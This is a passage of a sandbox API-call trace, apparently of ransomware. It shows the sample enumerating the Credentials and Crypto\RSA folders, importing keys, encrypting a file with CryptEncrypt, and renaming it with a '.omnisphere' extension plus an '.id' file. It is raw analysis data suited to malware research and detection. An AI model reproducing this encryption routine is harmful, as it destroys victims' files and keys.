ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0102.053] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 0 [0102.053] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0102.053] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0102.054] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0102.054] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0102.054] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0102.054] GetProcessHeap () returned 0x1600000 [0102.054] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16682c8 | out: hHeap=0x1600000) returned 1 [0102.054] GetProcessHeap () returned 0x1600000 [0102.054] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668708 | out: hHeap=0x1600000) returned 1 [0102.054] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0102.054] GetProcessHeap () returned 0x1600000 [0102.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x165fbe8 [0102.054] PathCombineW (in: pszDest=0x165fbe8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Crypto" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto" [0102.054] GetProcessHeap () returned 0x1600000 [0102.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f980 [0102.054] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\*" [0102.054] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0102.055] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0102.055] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="RSA", cAlternateFileName="")) returned 1 [0102.055] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="RSA", cAlternateFileName="")) returned 0 [0102.055] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0102.055] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0102.055] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0102.055] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="RSA", cAlternateFileName="")) returned 1 [0102.055] GetProcessHeap () returned 0x1600000 [0102.055] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x78) returned 0x163f180 [0102.055] PathCombineW (in: pszDest=0x163f180, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto", pszFile="RSA" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0102.055] GetProcessHeap () returned 0x1600000 [0102.055] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x16683d8 [0102.055] PathCombineW (in: pszDest=0x16683d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" [0102.055] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0102.056] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="..", cAlternateFileName="")) returned 1 [0102.056] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0102.056] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0102.056] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0102.056] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0102.056] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0102.056] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0102.056] GetProcessHeap () returned 0x1600000 [0102.056] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd4) returned 0x16302c0 [0102.056] PathCombineW (in: pszDest=0x16302c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", pszFile="S-1-5-21-1051304884-625712362-2192934891-1000" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000" [0102.056] GetProcessHeap () returned 0x1600000 [0102.056] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x1638010 [0102.057] PathCombineW (in: pszDest=0x1638010, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\*" [0102.057] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd0, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0102.059] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd0, cFileName="..", cAlternateFileName="")) returned 1 [0102.059] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x7223c64d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x7223c64d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x2d, dwReserved0=0x0, dwReserved1=0xd0, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="83AA4C~1")) returned 1 [0102.059] GetProcessHeap () returned 0x1600000 [0102.059] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x160) returned 0x16414e8 [0102.059] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71" [0102.059] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0102.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0102.060] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=45) returned 1 [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.060] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] GetTickCount () returned 0x11599ac [0102.061] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668460) returned 1 [0102.062] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0102.062] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0102.062] CryptDestroyKey (hKey=0x1639b28) returned 1 [0102.062] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0102.062] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d, lpName=0x0) returned 0x3c0 [0102.062] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d) returned 0x3430000 [0102.062] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668708) returned 1 [0102.063] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0102.063] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0102.063] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0102.063] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0102.063] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0102.063] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0102.064] CryptDestroyKey (hKey=0x1639b28) returned 1 [0102.064] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0102.064] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x2d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0102.064] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0102.068] GetProcessHeap () returned 0x1600000 [0102.068] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x370) returned 0x1686430 [0102.068] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere")) returned 1 [0102.070] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id" [0102.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0102.071] WriteFile (in: hFile=0x3c4, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0102.072] CloseHandle (hObject=0x3c4) returned 1 [0102.073] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0102.073] CloseHandle (hObject=0x3c0) returned 1 [0102.073] SetEndOfFile (hFile=0x288) returned 1 [0102.073] FlushFileBuffers (hFile=0x288) returned 1 [0102.077] CloseHandle (hObject=0x288) returned 1 [0102.077] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0102.077] GetProcessHeap () returned 